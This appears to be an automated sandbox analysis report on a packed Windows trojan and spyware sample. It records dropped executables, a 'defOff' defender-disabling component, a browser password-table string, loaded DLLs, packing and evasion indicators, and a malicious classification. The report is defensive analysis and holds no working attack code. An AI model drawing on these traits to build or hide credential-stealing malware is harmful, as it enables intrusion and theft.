Source: s31ydU1MpQ.exe, 00000000.00000003.1535634291.0000000005E19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1543260587.0000000005F82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1535807795.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1538894588.0000000005F41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1538374380.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1535016161.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1541847105.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1549593989.0000000005E7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1537929873.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1529761509.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1528294400.000000000576D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1528036300.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1532279261.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1531612576.0000000005E04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530446966.000000000576E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1534198820.0000000005EED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1528609190.0000000005D3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1535499864.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1531943256.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1551041018.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1531514994.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1542727011.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1532619992.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1533463482.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1542330170.0000000005E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1528213766.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1543717050.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1528381462.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530261765.0000000005770000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1541671597.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1542062283.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1540754603.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1533345308.0000000005E06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1563162531.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1538665972.0000000005E3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1533693556.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530625899.0000000005766000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530722921.0000000005D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1532751669.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1534767260.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1536118518.0000000005E24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1536878754.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1529654284.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1532052507.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1525848647.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1544629252.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1550484383.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1550051209.0000000005E80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1536605828.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1532386635.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1549806537.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1542925287.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1564333425.0000000005A26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1551373806.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530078315.000000000576D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1530817936.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1525848647.0000000005A26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1548613740.0000000005E81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe
Source: s31ydU1MpQ.exe, 00000000.00000003.1534531849.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs s31ydU1MpQ.exe

Source: s31ydU1MpQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: s31ydU1MpQ.exe	Static PE information: Section: ZLIB complexity 0.9972709760273972
Source: s31ydU1MpQ.exe	Static PE information: Section: npsrnsek ZLIB complexity 0.9946172875991458

Source: BGXAMSUR4L24WR8IH77.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@11/4

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HXPC21YC8H3Q6AWWXLQHI1I.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

File created: C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: s31ydU1MpQ.exe, 00000000.00000003.1342976412.0000000005936000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1368274630.000000000596F000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342888676.000000000596A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1368379310.0000000005962000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: s31ydU1MpQ.exe	Virustotal: Detection: 52%
Source: s31ydU1MpQ.exe	ReversingLabs: Detection: 60%

Source: HXPC21YC8H3Q6AWWXLQHI1I.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe

File read: C:\Users\user\Desktop\s31ydU1MpQ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\s31ydU1MpQ.exe "C:\Users\user\Desktop\s31ydU1MpQ.exe"
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process created: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe"
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process created: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe "C:\Users\user~1\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe"
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process created: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe "C:\Users\user~1\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Process created: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe "C:\Users\user~1\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe"	Jump to behavior

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: s31ydU1MpQ.exe

Static file information: File size 1843200 > 1048576

Source: s31ydU1MpQ.exe

Static PE information: Raw size of npsrnsek is bigger than: 0x100000 < 0x199c00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: HXPC21YC8H3Q6AWWXLQHI1I.exe, 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	Unpacked PE file: 10.2.HXPC21YC8H3Q6AWWXLQHI1I.exe.b00000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	Unpacked PE file: 11.2.BGXAMSUR4L24WR8IH77.exe.680000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754
Source: s31ydU1MpQ.exe	Static PE information: real checksum: 0x1c6b8f should be: 0x1c2eb5
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: s31ydU1MpQ.exe	Static PE information: section name:
Source: s31ydU1MpQ.exe	Static PE information: section name: .idata
Source: s31ydU1MpQ.exe	Static PE information: section name:
Source: s31ydU1MpQ.exe	Static PE information: section name: npsrnsek
Source: s31ydU1MpQ.exe	Static PE information: section name: lghaogpm
Source: s31ydU1MpQ.exe	Static PE information: section name: .taggant
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: section name:
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: section name: .idata
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: section name: tnrxecbv
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: section name: anayjrgy
Source: HXPC21YC8H3Q6AWWXLQHI1I.exe.0.dr	Static PE information: section name: .taggant
Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: section name:
Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: section name: .idata
Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: section name: wwqufnsk
Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: section name: dutjqjqn
Source: BGXAMSUR4L24WR8IH77.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0131DCAC push eax; ret	0_3_0131DCAD
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0131DF75 pushad ; ret	0_3_0131DF81
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013031EC push esi; retf	0_3_013031EF
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_01305418 push esi; iretd	0_3_01305422
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_0130154F push esi; retf	0_3_01301552
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	Code function: 0_3_013043F3 push esp; iretd	0_3_01304412
